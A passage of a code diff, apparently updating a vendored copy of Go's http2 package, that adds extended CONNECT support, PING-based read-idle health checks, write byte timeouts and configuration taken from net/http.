conf.MaxConcurrentStreams = uint32(h2.MaxConcurrentStreams)
}
if h2.MaxReadFrameSize != 0 {
conf.MaxReadFrameSize = uint32(h2.MaxReadFrameSize)
}
if h2.MaxReceiveBufferPerConnection != 0 {
conf.MaxUploadBufferPerConnection = int32(h2.MaxReceiveBufferPerConnection)
}
if h2.MaxReceiveBufferPerStream != 0 {
conf.MaxUploadBufferPerStream = int32(h2.MaxReceiveBufferPerStream)
}
if h2.SendPingTimeout != 0 {
conf.SendPingTimeout = h2.SendPingTimeout
}
if h2.PingTimeout != 0 {
conf.PingTimeout = h2.PingTimeout
}
if h2.WriteByteTimeout != 0 {
conf.WriteByteTimeout = h2.WriteByteTimeout
}
if h2.PermitProhibitedCipherSuites {
conf.PermitProhibitedCipherSuites = true
}
if h2.CountError != nil {
conf.CountError = h2.CountError
}
}
+16
View File
@@ -0,0 +1,16 @@
// Copyright 2024 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build !go1.24
package http2
import "net/http"
// Pre-Go 1.24 fallback.
// The Server.HTTP2 and Transport.HTTP2 config fields were added in Go 1.24.
func fillNetHTTPServerConfig(conf *http2Config, srv *http.Server) {}
func fillNetHTTPTransportConfig(conf *http2Config, tr *http.Transport) {}
+2 -2
View File
@@ -1490,7 +1490,7 @@ func (mh *MetaHeadersFrame) checkPseudos() error {
pf := mh.PseudoFields()
for i, hf := range pf {
switch hf.Name {
case ":method", ":path", ":scheme", ":authority":
case ":method", ":path", ":scheme", ":authority", ":protocol":
isRequest = true
case ":status":
isResponse = true
@@ -1498,7 +1498,7 @@ func (mh *MetaHeadersFrame) checkPseudos() error {
return pseudoHeaderError(hf.Name)
}
// Check for duplicates.
// This would be a bad algorithm, but N is 4.
// This would be a bad algorithm, but N is 5.
// And this doesn't allocate.
for _, hf2 := range pf[:i] {
if hf.Name == hf2.Name {
+72 -23
View File
@@ -19,8 +19,9 @@ import (
"bufio"
"context"
"crypto/tls"
"errors"
"fmt"
"io"
"net"
"net/http"
"os"
"sort"
@@ -33,10 +34,11 @@ import (
)
var (
VerboseLogs bool
logFrameWrites bool
logFrameReads bool
inTests bool
VerboseLogs bool
logFrameWrites bool
logFrameReads bool
inTests bool
disableExtendedConnectProtocol bool
)
func init() {
@@ -49,6 +51,9 @@ func init() {
logFrameWrites = true
logFrameReads = true
}
if strings.Contains(e, "http2xconnect=0") {
disableExtendedConnectProtocol = true
}
}
const (
@@ -140,6 +145,10 @@ func (s Setting) Valid() error {
if s.Val < 16384 || s.Val > 1<<24-1 {
return ConnectionError(ErrCodeProtocol)
}
case SettingEnableConnectProtocol:
if s.Val != 1 && s.Val != 0 {
return ConnectionError(ErrCodeProtocol)
}
}
return nil
}
@@ -149,21 +158,23 @@ func (s Setting) Valid() error {
type SettingID uint16
const (
SettingHeaderTableSize SettingID = 0x1
SettingEnablePush SettingID = 0x2
SettingMaxConcurrentStreams SettingID = 0x3
SettingInitialWindowSize SettingID = 0x4
SettingMaxFrameSize SettingID = 0x5
SettingMaxHeaderListSize SettingID = 0x6
SettingHeaderTableSize SettingID = 0x1
SettingEnablePush SettingID = 0x2
SettingMaxConcurrentStreams SettingID = 0x3
SettingInitialWindowSize SettingID = 0x4
SettingMaxFrameSize SettingID = 0x5
SettingMaxHeaderListSize SettingID = 0x6
SettingEnableConnectProtocol SettingID = 0x8
)
var settingName = map[SettingID]string{
SettingHeaderTableSize: "HEADER_TABLE_SIZE",
SettingEnablePush: "ENABLE_PUSH",
SettingMaxConcurrentStreams: "MAX_CONCURRENT_STREAMS",
SettingInitialWindowSize: "INITIAL_WINDOW_SIZE",
SettingMaxFrameSize: "MAX_FRAME_SIZE",
SettingMaxHeaderListSize: "MAX_HEADER_LIST_SIZE",
SettingHeaderTableSize: "HEADER_TABLE_SIZE",
SettingEnablePush: "ENABLE_PUSH",
SettingMaxConcurrentStreams: "MAX_CONCURRENT_STREAMS",
SettingInitialWindowSize: "INITIAL_WINDOW_SIZE",
SettingMaxFrameSize: "MAX_FRAME_SIZE",
SettingMaxHeaderListSize: "MAX_HEADER_LIST_SIZE",
SettingEnableConnectProtocol: "ENABLE_CONNECT_PROTOCOL",
}
func (s SettingID) String() string {
@@ -237,13 +248,19 @@ func (cw closeWaiter) Wait() {
// Its buffered writer is lazily allocated as needed, to minimize
// idle memory usage with many connections.
type bufferedWriter struct {
_ incomparable
w io.Writer // immutable
bw *bufio.Writer // non-nil when data is buffered
_ incomparable
group synctestGroupInterface // immutable
conn net.Conn // immutable
bw *bufio.Writer // non-nil when data is buffered
byteTimeout time.Duration // immutable, WriteByteTimeout
}
func newBufferedWriter(w io.Writer) *bufferedWriter {
return &bufferedWriter{w: w}
func newBufferedWriter(group synctestGroupInterface, conn net.Conn, timeout time.Duration) *bufferedWriter {
return &bufferedWriter{
group: group,
conn: conn,
byteTimeout: timeout,
}
}
// bufWriterPoolBufferSize is the size of bufio.Writer's
@@ -270,7 +287,7 @@ func (w *bufferedWriter) Available() int {
func (w *bufferedWriter) Write(p []byte) (n int, err error) {
if w.bw == nil {
bw := bufWriterPool.Get().(*bufio.Writer)
bw.Reset(w.w)
bw.Reset((*bufferedWriterTimeoutWriter)(w))
w.bw = bw
}
return w.bw.Write(p)
@@ -288,6 +305,38 @@ func (w *bufferedWriter) Flush() error {
return err
}
type bufferedWriterTimeoutWriter bufferedWriter
func (w *bufferedWriterTimeoutWriter) Write(p []byte) (n int, err error) {
return writeWithByteTimeout(w.group, w.conn, w.byteTimeout, p)
}
// writeWithByteTimeout writes to conn.
// If more than timeout passes without any bytes being written to the connection,
// the write fails.
func writeWithByteTimeout(group synctestGroupInterface, conn net.Conn, timeout time.Duration, p []byte) (n int, err error) {
if timeout <= 0 {
return conn.Write(p)
}
for {
var now time.Time
if group == nil {
now = time.Now()
} else {
now = group.Now()
}
conn.SetWriteDeadline(now.Add(timeout))
nn, err := conn.Write(p[n:])
n += nn
if n == len(p) || nn == 0 || !errors.Is(err, os.ErrDeadlineExceeded) {
// Either we finished the write, made no progress, or hit the deadline.
// Whichever it is, we're done now.
conn.SetWriteDeadline(time.Time{})
return n, err
}
}
}
func mustUint31(v int32) uint32 {
if v < 0 || v > 2147483647 {
panic("out of range")
+155 -89
View File
@@ -29,6 +29,7 @@ import (
"bufio"
"bytes"
"context"
"crypto/rand"
"crypto/tls"
"errors"
"fmt"
@@ -52,10 +53,14 @@ import (
)
const (
prefaceTimeout = 10 * time.Second
firstSettingsTimeout = 2 * time.Second // should be in-flight with preface anyway
handlerChunkWriteSize = 4 << 10
defaultMaxStreams = 250 // TODO: make this 100 as the GFE seems to?
prefaceTimeout = 10 * time.Second
firstSettingsTimeout = 2 * time.Second // should be in-flight with preface anyway
handlerChunkWriteSize = 4 << 10
defaultMaxStreams = 250 // TODO: make this 100 as the GFE seems to?
// maxQueuedControlFrames is the maximum number of control frames like
// SETTINGS, PING and RST_STREAM that will be queued for writing before
// the connection is closed to prevent memory exhaustion attacks.
maxQueuedControlFrames = 10000
)
@@ -127,6 +132,22 @@ type Server struct {
// If zero or negative, there is no timeout.
IdleTimeout time.Duration
// ReadIdleTimeout is the timeout after which a health check using a ping
// frame will be carried out if no frame is received on the connection.
// If zero, no health check is performed.
ReadIdleTimeout time.Duration
// PingTimeout is the timeout after which the connection will be closed
// if a response to a ping is not received.
// If zero, a default of 15 seconds is used.
PingTimeout time.Duration
// WriteByteTimeout is the timeout after which a connection will be
// closed if no data can be written to it. The timeout begins when data is
// available to write, and is extended whenever any bytes are written.
// If zero or negative, there is no timeout.
WriteByteTimeout time.Duration
// MaxUploadBufferPerConnection is the size of the initial flow
// control window for each connections. The HTTP/2 spec does not
// allow this to be smaller than 65535 or larger than 2^32-1.
@@ -189,57 +210,6 @@ func (s *Server) afterFunc(d time.Duration, f func()) timer {
return timeTimer{time.AfterFunc(d, f)}
}
func (s *Server) initialConnRecvWindowSize() int32 {
if s.MaxUploadBufferPerConnection >= initialWindowSize {
return s.MaxUploadBufferPerConnection
}
return 1 << 20
}
func (s *Server) initialStreamRecvWindowSize() int32 {
if s.MaxUploadBufferPerStream > 0 {
return s.MaxUploadBufferPerStream
}
return 1 << 20
}
func (s *Server) maxReadFrameSize() uint32 {
if v := s.MaxReadFrameSize; v >= minMaxFrameSize && v <= maxFrameSize {
return v
}
return defaultMaxReadFrameSize
}
func (s *Server) maxConcurrentStreams() uint32 {
if v := s.MaxConcurrentStreams; v > 0 {
return v
}
return defaultMaxStreams
}
func (s *Server) maxDecoderHeaderTableSize() uint32 {
if v := s.MaxDecoderHeaderTableSize; v > 0 {
return v
}
return initialHeaderTableSize
}
func (s *Server) maxEncoderHeaderTableSize() uint32 {
if v := s.MaxEncoderHeaderTableSize; v > 0 {
return v
}
return initialHeaderTableSize
}
// maxQueuedControlFrames is the maximum number of control frames like
// SETTINGS, PING and RST_STREAM that will be queued for writing before
// the connection is closed to prevent memory exhaustion attacks.
func (s *Server) maxQueuedControlFrames() int {
// TODO: if anybody asks, add a Server field, and remember to define the
// behavior of negative values.
return maxQueuedControlFrames
}
type serverInternalState struct {
mu sync.Mutex
activeConns map[*serverConn]struct{}
@@ -336,7 +306,7 @@ func ConfigureServer(s *http.Server, conf *Server) error {
if s.TLSNextProto == nil {
s.TLSNextProto = map[string]func(*http.Server, *tls.Conn, http.Handler){}
}
protoHandler := func(hs *http.Server, c *tls.Conn, h http.Handler) {
protoHandler := func(hs *http.Server, c net.Conn, h http.Handler, sawClientPreface bool) {
if testHookOnConn != nil {
testHookOnConn()
}
@@ -353,12 +323,31 @@ func ConfigureServer(s *http.Server, conf *Server) error {
ctx = bc.BaseContext()
}
conf.ServeConn(c, &ServeConnOpts{
Context: ctx,
Handler: h,
BaseConfig: hs,
Context: ctx,
Handler: h,
BaseConfig: hs,
SawClientPreface: sawClientPreface,
})
}
s.TLSNextProto[NextProtoTLS] = protoHandler
s.TLSNextProto[NextProtoTLS] = func(hs *http.Server, c *tls.Conn, h http.Handler) {
protoHandler(hs, c, h, false)
}
// The "unencrypted_http2" TLSNextProto key is used to pass off non-TLS HTTP/2 conns.
//
// A connection passed in this method has already had the HTTP/2 preface read from it.
s.TLSNextProto[nextProtoUnencryptedHTTP2] = func(hs *http.Server, c *tls.Conn, h http.Handler) {
nc, err := unencryptedNetConnFromTLSConn(c)
if err != nil {
if lg := hs.ErrorLog; lg != nil {
lg.Print(err)
} else {
log.Print(err)
}
go c.Close()
return
}
protoHandler(hs, nc, h, true)
}
return nil
}
@@ -440,13 +429,15 @@ func (s *Server) serveConn(c net.Conn, opts *ServeConnOpts, newf func(*serverCon
baseCtx, cancel := serverConnBaseContext(c, opts)
defer cancel()
http1srv := opts.baseConfig()
conf := configFromServer(http1srv, s)
sc := &serverConn{
srv: s,
hs: opts.baseConfig(),
hs: http1srv,
conn: c,
baseCtx: baseCtx,
remoteAddrStr: c.RemoteAddr().String(),
bw: newBufferedWriter(c),
bw: newBufferedWriter(s.group, c, conf.WriteByteTimeout),
handler: opts.handler(),
streams: make(map[uint32]*stream),
readFrameCh: make(chan readFrameResult),
@@ -456,9 +447,12 @@ func (s *Server) serveConn(c net.Conn, opts *ServeConnOpts, newf func(*serverCon
bodyReadCh: make(chan bodyReadMsg), // buffering doesn't matter either way
doneServing: make(chan struct{}),
clientMaxStreams: math.MaxUint32, // Section 6.5.2: "Initially, there is no limit to this value"
advMaxStreams: s.maxConcurrentStreams(),
advMaxStreams: conf.MaxConcurrentStreams,
initialStreamSendWindowSize: initialWindowSize,
initialStreamRecvWindowSize: conf.MaxUploadBufferPerStream,
maxFrameSize: initialMaxFrameSize,
pingTimeout: conf.PingTimeout,
countErrorFunc: conf.CountError,
serveG: newGoroutineLock(),
pushEnabled: true,
sawClientPreface: opts.SawClientPreface,
@@ -491,15 +485,15 @@ func (s *Server) serveConn(c net.Conn, opts *ServeConnOpts, newf func(*serverCon
sc.flow.add(initialWindowSize)
sc.inflow.init(initialWindowSize)
sc.hpackEncoder = hpack.NewEncoder(&sc.headerWriteBuf)
sc.hpackEncoder.SetMaxDynamicTableSizeLimit(s.maxEncoderHeaderTableSize())
sc.hpackEncoder.SetMaxDynamicTableSizeLimit(conf.MaxEncoderHeaderTableSize)
fr := NewFramer(sc.bw, c)
if s.CountError != nil {
fr.countError = s.CountError
if conf.CountError != nil {
fr.countError = conf.CountError
}
fr.ReadMetaHeaders = hpack.NewDecoder(s.maxDecoderHeaderTableSize(), nil)
fr.ReadMetaHeaders = hpack.NewDecoder(conf.MaxDecoderHeaderTableSize, nil)
fr.MaxHeaderListSize = sc.maxHeaderListSize()
fr.SetMaxReadFrameSize(s.maxReadFrameSize())
fr.SetMaxReadFrameSize(conf.MaxReadFrameSize)
sc.framer = fr
if tc, ok := c.(connectionStater); ok {
@@ -532,7 +526,7 @@ func (s *Server) serveConn(c net.Conn, opts *ServeConnOpts, newf func(*serverCon
// So for now, do nothing here again.
}
if !s.PermitProhibitedCipherSuites && isBadCipher(sc.tlsState.CipherSuite) {
if !conf.PermitProhibitedCipherSuites && isBadCipher(sc.tlsState.CipherSuite) {
// "Endpoints MAY choose to generate a connection error
// (Section 5.4.1) of type INADEQUATE_SECURITY if one of
// the prohibited cipher suites are negotiated."
@@ -569,7 +563,7 @@ func (s *Server) serveConn(c net.Conn, opts *ServeConnOpts, newf func(*serverCon
opts.UpgradeRequest = nil
}
sc.serve()
sc.serve(conf)
}
func serverConnBaseContext(c net.Conn, opts *ServeConnOpts) (ctx context.Context, cancel func()) {
@@ -609,6 +603,7 @@ type serverConn struct {
tlsState *tls.ConnectionState // shared by all handlers, like net/http
remoteAddrStr string
writeSched WriteScheduler
countErrorFunc func(errType string)
// Everything following is owned by the serve loop; use serveG.check():
serveG goroutineLock // used to verify funcs are on serve()
@@ -628,6 +623,7 @@ type serverConn struct {
streams map[uint32]*stream
unstartedHandlers []unstartedHandler
initialStreamSendWindowSize int32
initialStreamRecvWindowSize int32
maxFrameSize int32
peerMaxHeaderListSize uint32 // zero means unknown (default)
canonHeader map[string]string // http2-lower-case -> Go-Canonical-Case
@@ -638,9 +634,14 @@ type serverConn struct {
inGoAway bool // we've started to or sent GOAWAY
inFrameScheduleLoop bool // whether we're in the scheduleFrameWrite loop
needToSendGoAway bool // we need to schedule a GOAWAY frame write
pingSent bool
sentPingData [8]byte
goAwayCode ErrCode
shutdownTimer timer // nil until used
idleTimer timer // nil if unused
readIdleTimeout time.Duration
pingTimeout time.Duration
readIdleTimer timer // nil if unused
// Owned by the writeFrameAsync goroutine:
headerWriteBuf bytes.Buffer
@@ -655,11 +656,7 @@ func (sc *serverConn) maxHeaderListSize() uint32 {
if n <= 0 {
n = http.DefaultMaxHeaderBytes
}
// http2's count is in a slightly different unit and includes 32 bytes per pair.
// So, take the net/http.Server value and pad it up a bit, assuming 10 headers.
const perFieldOverhead = 32 // per http2 spec
const typicalHeaders = 10 // conservative
return uint32(n + typicalHeaders*perFieldOverhead)
return uint32(adjustHTTP1MaxHeaderSize(int64(n)))
}
func (sc *serverConn) curOpenStreams() uint32 {
@@ -923,7 +920,7 @@ func (sc *serverConn) notePanic() {
}
}
func (sc *serverConn) serve() {
func (sc *serverConn) serve(conf http2Config) {
sc.serveG.check()
defer sc.notePanic()
defer sc.conn.Close()
@@ -935,20 +932,24 @@ func (sc *serverConn) serve() {
sc.vlogf("http2: server connection from %v on %p", sc.conn.RemoteAddr(), sc.hs)
}
settings := writeSettings{
{SettingMaxFrameSize, conf.MaxReadFrameSize},
{SettingMaxConcurrentStreams, sc.advMaxStreams},
{SettingMaxHeaderListSize, sc.maxHeaderListSize()},
{SettingHeaderTableSize, conf.MaxDecoderHeaderTableSize},
{SettingInitialWindowSize, uint32(sc.initialStreamRecvWindowSize)},
}
if !disableExtendedConnectProtocol {
settings = append(settings, Setting{SettingEnableConnectProtocol, 1})
}
sc.writeFrame(FrameWriteRequest{
write: writeSettings{
{SettingMaxFrameSize, sc.srv.maxReadFrameSize()},
{SettingMaxConcurrentStreams, sc.advMaxStreams},
{SettingMaxHeaderListSize, sc.maxHeaderListSize()},
{SettingHeaderTableSize, sc.srv.maxDecoderHeaderTableSize()},
{SettingInitialWindowSize, uint32(sc.srv.initialStreamRecvWindowSize())},
},
write: settings,
})
sc.unackedSettings++
// Each connection starts with initialWindowSize inflow tokens.
// If a higher value is configured, we add more tokens.
if diff := sc.srv.initialConnRecvWindowSize() - initialWindowSize; diff > 0 {
if diff := conf.MaxUploadBufferPerConnection - initialWindowSize; diff > 0 {
sc.sendWindowUpdate(nil, int(diff))
}
@@ -968,11 +969,18 @@ func (sc *serverConn) serve() {
defer sc.idleTimer.Stop()
}
if conf.SendPingTimeout > 0 {
sc.readIdleTimeout = conf.SendPingTimeout
sc.readIdleTimer = sc.srv.afterFunc(conf.SendPingTimeout, sc.onReadIdleTimer)
defer sc.readIdleTimer.Stop()
}
go sc.readFrames() // closed by defer sc.conn.Close above
settingsTimer := sc.srv.afterFunc(firstSettingsTimeout, sc.onSettingsTimer)
defer settingsTimer.Stop()
lastFrameTime := sc.srv.now()
loopNum := 0
for {
loopNum++
@@ -986,6 +994,7 @@ func (sc *serverConn) serve() {
case res := <-sc.wroteFrameCh:
sc.wroteFrame(res)
case res := <-sc.readFrameCh:
lastFrameTime = sc.srv.now()
// Process any written frames before reading new frames from the client since a
// written frame could have triggered a new stream to be started.
if sc.writingFrameAsync {
@@ -1017,6 +1026,8 @@ func (sc *serverConn) serve() {
case idleTimerMsg:
sc.vlogf("connection is idle")
sc.goAway(ErrCodeNo)
case readIdleTimerMsg:
sc.handlePingTimer(lastFrameTime)
case shutdownTimerMsg:
sc.vlogf("GOAWAY close timer fired; closing conn from %v", sc.conn.RemoteAddr())
return
@@ -1039,7 +1050,7 @@ func (sc *serverConn) serve() {
// If the peer is causing us to generate a lot of control frames,
// but not reading them from us, assume they are trying to make us
// run out of memory.
if sc.queuedControlFrames > sc.srv.maxQueuedControlFrames() {
if sc.queuedControlFrames > maxQueuedControlFrames {
sc.vlogf("http2: too many control frames in send queue, closing connection")
return
}
@@ -1055,12 +1066,39 @@ func (sc *serverConn) serve() {
}
}
func (sc *serverConn) handlePingTimer(lastFrameReadTime time.Time) {
if sc.pingSent {
sc.vlogf("timeout waiting for PING response")
sc.conn.Close()
return
}
pingAt := lastFrameReadTime.Add(sc.readIdleTimeout)
now := sc.srv.now()
if pingAt.After(now) {
// We received frames since arming the ping timer.
// Reset it for the next possible timeout.
sc.readIdleTimer.Reset(pingAt.Sub(now))
return
}
sc.pingSent = true
// Ignore crypto/rand.Read errors: It generally can't fail, and worse case if it does
// is we send a PING frame containing 0s.
_, _ = rand.Read(sc.sentPingData[:])
sc.writeFrame(FrameWriteRequest{
write: &writePing{data: sc.sentPingData},
})
sc.readIdleTimer.Reset(sc.pingTimeout)
}
type serverMessage int
// Message values sent to serveMsgCh.
var (
settingsTimerMsg = new(serverMessage)
idleTimerMsg = new(serverMessage)
readIdleTimerMsg = new(serverMessage)
shutdownTimerMsg = new(serverMessage)
gracefulShutdownMsg = new(serverMessage)
handlerDoneMsg = new(serverMessage)
@@ -1068,6 +1106,7 @@ var (
func (sc *serverConn) onSettingsTimer() { sc.sendServeMsg(settingsTimerMsg) }
func (sc *serverConn) onIdleTimer() { sc.sendServeMsg(idleTimerMsg) }
func (sc *serverConn) onReadIdleTimer() { sc.sendServeMsg(readIdleTimerMsg) }
func (sc *serverConn) onShutdownTimer() { sc.sendServeMsg(shutdownTimerMsg) }
func (sc *serverConn) sendServeMsg(msg interface{}) {
@@ -1320,6 +1359,10 @@ func (sc *serverConn) wroteFrame(res frameWriteResult) {
sc.writingFrame = false
sc.writingFrameAsync = false
if res.err != nil {
sc.conn.Close()
}
wr := res.wr
if writeEndsStream(wr.write) {
@@ -1594,6 +1637,11 @@ func (sc *serverConn) processFrame(f Frame) error {
func (sc *serverConn) processPing(f *PingFrame) error {
sc.serveG.check()
if f.IsAck() {
if sc.pingSent && sc.sentPingData == f.Data {
// This is a response to a PING we sent.
sc.pingSent = false
sc.readIdleTimer.Reset(sc.readIdleTimeout)
}
// 6.7 PING: " An endpoint MUST NOT respond to PING frames
// containing this flag."
return nil
@@ -1757,6 +1805,9 @@ func (sc *serverConn) processSetting(s Setting) error {
sc.maxFrameSize = int32(s.Val) // the maximum valid s.Val is < 2^31
case SettingMaxHeaderListSize:
sc.peerMaxHeaderListSize = s.Val
case SettingEnableConnectProtocol:
// Receipt of this parameter by a server does not
// have any impact
default:
// Unknown setting: "An endpoint that receives a SETTINGS
// frame with any unknown or unsupported identifier MUST
@@ -2160,7 +2211,7 @@ func (sc *serverConn) newStream(id, pusherID uint32, state streamState) *stream
st.cw.Init()
st.flow.conn = &sc.flow // link to conn-level counter
st.flow.add(sc.initialStreamSendWindowSize)
st.inflow.init(sc.srv.initialStreamRecvWindowSize())
st.inflow.init(sc.initialStreamRecvWindowSize)
if sc.hs.WriteTimeout > 0 {
st.writeDeadline = sc.srv.afterFunc(sc.hs.WriteTimeout, st.onWriteTimeout)
}
@@ -2187,11 +2238,17 @@ func (sc *serverConn) newWriterAndRequest(st *stream, f *MetaHeadersFrame) (*res
scheme: f.PseudoValue("scheme"),
authority: f.PseudoValue("authority"),
path: f.PseudoValue("path"),
protocol: f.PseudoValue("protocol"),
}
// extended connect is disabled, so we should not see :protocol
if disableExtendedConnectProtocol && rp.protocol != "" {
return nil, nil, sc.countError("bad_connect", streamError(f.StreamID, ErrCodeProtocol))
}
isConnect := rp.method == "CONNECT"
if isConnect {
if rp.path != "" || rp.scheme != "" || rp.authority == "" {
if rp.protocol == "" && (rp.path != "" || rp.scheme != "" || rp.authority == "") {
return nil, nil, sc.countError("bad_connect", streamError(f.StreamID, ErrCodeProtocol))
}
} else if rp.method == "" || rp.path == "" || (rp.scheme != "https" && rp.scheme != "http") {
@@ -2215,6 +2272,9 @@ func (sc *serverConn) newWriterAndRequest(st *stream, f *MetaHeadersFrame) (*res
if rp.authority == "" {
rp.authority = rp.header.Get("Host")
}
if rp.protocol != "" {
rp.header.Set(":protocol", rp.protocol)
}
rw, req, err := sc.newWriterAndRequestNoBody(st, rp)
if err != nil {
@@ -2241,6 +2301,7 @@ func (sc *serverConn) newWriterAndRequest(st *stream, f *MetaHeadersFrame) (*res
type requestParam struct {
method string
scheme, authority, path string
protocol string
header http.Header
}
@@ -2282,7 +2343,7 @@ func (sc *serverConn) newWriterAndRequestNoBody(st *stream, rp requestParam) (*r
var url_ *url.URL
var requestURI string
if rp.method == "CONNECT" {
if rp.method == "CONNECT" && rp.protocol == "" {
url_ = &url.URL{Host: rp.authority}
requestURI = rp.authority // mimic HTTP/1 server behavior
} else {
@@ -2855,6 +2916,11 @@ func (w *responseWriter) SetWriteDeadline(deadline time.Time) error {
return nil
}
func (w *responseWriter) EnableFullDuplex() error {
// We always support full duplex responses, so this is a no-op.
return nil
}
func (w *responseWriter) Flush() {
w.FlushError()
}
@@ -3301,7 +3367,7 @@ func (sc *serverConn) countError(name string, err error) error {
if sc == nil || sc.srv == nil {
return err
}
f := sc.srv.CountError
f := sc.countErrorFunc
if f == nil {
return err
}
+361 -157
View File
@@ -25,7 +25,6 @@ import (
"net/http"
"net/http/httptrace"
"net/textproto"
"os"
"sort"
"strconv"
"strings"
@@ -203,6 +202,20 @@ func (t *Transport) markNewGoroutine() {
}
}
func (t *Transport) now() time.Time {
if t != nil && t.transportTestHooks != nil {
return t.transportTestHooks.group.Now()
}
return time.Now()
}
func (t *Transport) timeSince(when time.Time) time.Duration {
if t != nil && t.transportTestHooks != nil {
return t.now().Sub(when)
}
return time.Since(when)
}
// newTimer creates a new time.Timer, or a synthetic timer in tests.
func (t *Transport) newTimer(d time.Duration) timer {
if t.transportTestHooks != nil {
@@ -227,40 +240,26 @@ func (t *Transport) contextWithTimeout(ctx context.Context, d time.Duration) (co
}
func (t *Transport) maxHeaderListSize() uint32 {
if t.MaxHeaderListSize == 0 {
n := int64(t.MaxHeaderListSize)
if t.t1 != nil && t.t1.MaxResponseHeaderBytes != 0 {
n = t.t1.MaxResponseHeaderBytes
if n > 0 {
n = adjustHTTP1MaxHeaderSize(n)
}
}
if n <= 0 {
return 10 << 20
}
if t.MaxHeaderListSize == 0xffffffff {
if n >= 0xffffffff {
return 0
}
return t.MaxHeaderListSize
}
func (t *Transport) maxFrameReadSize() uint32 {
if t.MaxReadFrameSize == 0 {
return 0 // use the default provided by the peer
}
if t.MaxReadFrameSize < minMaxFrameSize {
return minMaxFrameSize
}
if t.MaxReadFrameSize > maxFrameSize {
return maxFrameSize
}
return t.MaxReadFrameSize
return uint32(n)
}
func (t *Transport) disableCompression() bool {
return t.DisableCompression || (t.t1 != nil && t.t1.DisableCompression)
}
func (t *Transport) pingTimeout() time.Duration {
if t.PingTimeout == 0 {
return 15 * time.Second
}
return t.PingTimeout
}
// ConfigureTransport configures a net/http HTTP/1 Transport to use HTTP/2.
// It returns an error if t1 has already been HTTP/2-enabled.
//
@@ -296,8 +295,8 @@ func configureTransports(t1 *http.Transport) (*Transport, error) {
if !strSliceContains(t1.TLSClientConfig.NextProtos, "http/1.1") {
t1.TLSClientConfig.NextProtos = append(t1.TLSClientConfig.NextProtos, "http/1.1")
}
upgradeFn := func(authority string, c *tls.Conn) http.RoundTripper {
addr := authorityAddr("https", authority)
upgradeFn := func(scheme, authority string, c net.Conn) http.RoundTripper {
addr := authorityAddr(scheme, authority)
if used, err := connPool.addConnIfNeeded(addr, t2, c); err != nil {
go c.Close()
return erringRoundTripper{err}
@@ -308,18 +307,37 @@ func configureTransports(t1 *http.Transport) (*Transport, error) {
// was unknown)
go c.Close()
}
if scheme == "http" {
return (*unencryptedTransport)(t2)
}
return t2
}
if m := t1.TLSNextProto; len(m) == 0 {
t1.TLSNextProto = map[string]func(string, *tls.Conn) http.RoundTripper{
"h2": upgradeFn,
if t1.TLSNextProto == nil {
t1.TLSNextProto = make(map[string]func(string, *tls.Conn) http.RoundTripper)
}
t1.TLSNextProto[NextProtoTLS] = func(authority string, c *tls.Conn) http.RoundTripper {
return upgradeFn("https", authority, c)
}
// The "unencrypted_http2" TLSNextProto key is used to pass off non-TLS HTTP/2 conns.
t1.TLSNextProto[nextProtoUnencryptedHTTP2] = func(authority string, c *tls.Conn) http.RoundTripper {
nc, err := unencryptedNetConnFromTLSConn(c)
if err != nil {
go c.Close()
return erringRoundTripper{err}
}
} else {
m["h2"] = upgradeFn
return upgradeFn("http", authority, nc)
}
return t2, nil
}
// unencryptedTransport is a Transport with a RoundTrip method that
// always permits http:// URLs.
type unencryptedTransport Transport
func (t *unencryptedTransport) RoundTrip(req *http.Request) (*http.Response, error) {
return (*Transport)(t).RoundTripOpt(req, RoundTripOpt{allowHTTP: true})
}
func (t *Transport) connPool() ClientConnPool {
t.connPoolOnce.Do(t.initConnPool)
return t.connPoolOrDef
@@ -339,7 +357,7 @@ type ClientConn struct {
t *Transport
tconn net.Conn // usually *tls.Conn, except specialized impls
tlsState *tls.ConnectionState // nil only for specialized impls
reused uint32 // whether conn is being reused; atomic
atomicReused uint32 // whether conn is being reused; atomic
singleUse bool // whether being used for a single http.Request
getConnCalled bool // used by clientConnPool
@@ -350,31 +368,54 @@ type ClientConn struct {
idleTimeout time.Duration // or 0 for never
idleTimer timer
mu sync.Mutex // guards following
cond *sync.Cond // hold mu; broadcast on flow/closed changes
flow outflow // our conn-level flow control quota (cs.outflow is per stream)
inflow inflow // peer's conn-level flow control
doNotReuse bool // whether conn is marked to not be reused for any future requests
closing bool
closed bool
seenSettings bool // true if we've seen a settings frame, false otherwise
wantSettingsAck bool // we sent a SETTINGS frame and haven't heard back
goAway *GoAwayFrame // if non-nil, the GoAwayFrame we received
goAwayDebug string // goAway frame's debug data, retained as a string
streams map[uint32]*clientStream // client-initiated
streamsReserved int // incr by ReserveNewRequest; decr on RoundTrip
nextStreamID uint32
pendingRequests int // requests blocked and waiting to be sent because len(streams) == maxConcurrentStreams
pings map[[8]byte]chan struct{} // in flight ping data to notification channel
br *bufio.Reader
lastActive time.Time
lastIdle time.Time // time last idle
mu sync.Mutex // guards following
cond *sync.Cond // hold mu; broadcast on flow/closed changes
flow outflow // our conn-level flow control quota (cs.outflow is per stream)
inflow inflow // peer's conn-level flow control
doNotReuse bool // whether conn is marked to not be reused for any future requests
closing bool
closed bool
seenSettings bool // true if we've seen a settings frame, false otherwise
seenSettingsChan chan struct{} // closed when seenSettings is true or frame reading fails
wantSettingsAck bool // we sent a SETTINGS frame and haven't heard back
goAway *GoAwayFrame // if non-nil, the GoAwayFrame we received
goAwayDebug string // goAway frame's debug data, retained as a string
streams map[uint32]*clientStream // client-initiated
streamsReserved int // incr by ReserveNewRequest; decr on RoundTrip
nextStreamID uint32
pendingRequests int // requests blocked and waiting to be sent because len(streams) == maxConcurrentStreams
pings map[[8]byte]chan struct{} // in flight ping data to notification channel
br *bufio.Reader
lastActive time.Time
lastIdle time.Time // time last idle
// Settings from peer: (also guarded by wmu)
maxFrameSize uint32
maxConcurrentStreams uint32
peerMaxHeaderListSize uint64
peerMaxHeaderTableSize uint32
initialWindowSize uint32
maxFrameSize uint32
maxConcurrentStreams uint32
peerMaxHeaderListSize uint64
peerMaxHeaderTableSize uint32
initialWindowSize uint32
initialStreamRecvWindowSize int32
readIdleTimeout time.Duration
pingTimeout time.Duration
extendedConnectAllowed bool
// rstStreamPingsBlocked works around an unfortunate gRPC behavior.
// gRPC strictly limits the number of PING frames that it will receive.
// The default is two pings per two hours, but the limit resets every time
// the gRPC endpoint sends a HEADERS or DATA frame. See golang/go#70575.
//
// rstStreamPingsBlocked is set after receiving a response to a PING frame
// bundled with an RST_STREAM (see pendingResets below), and cleared after
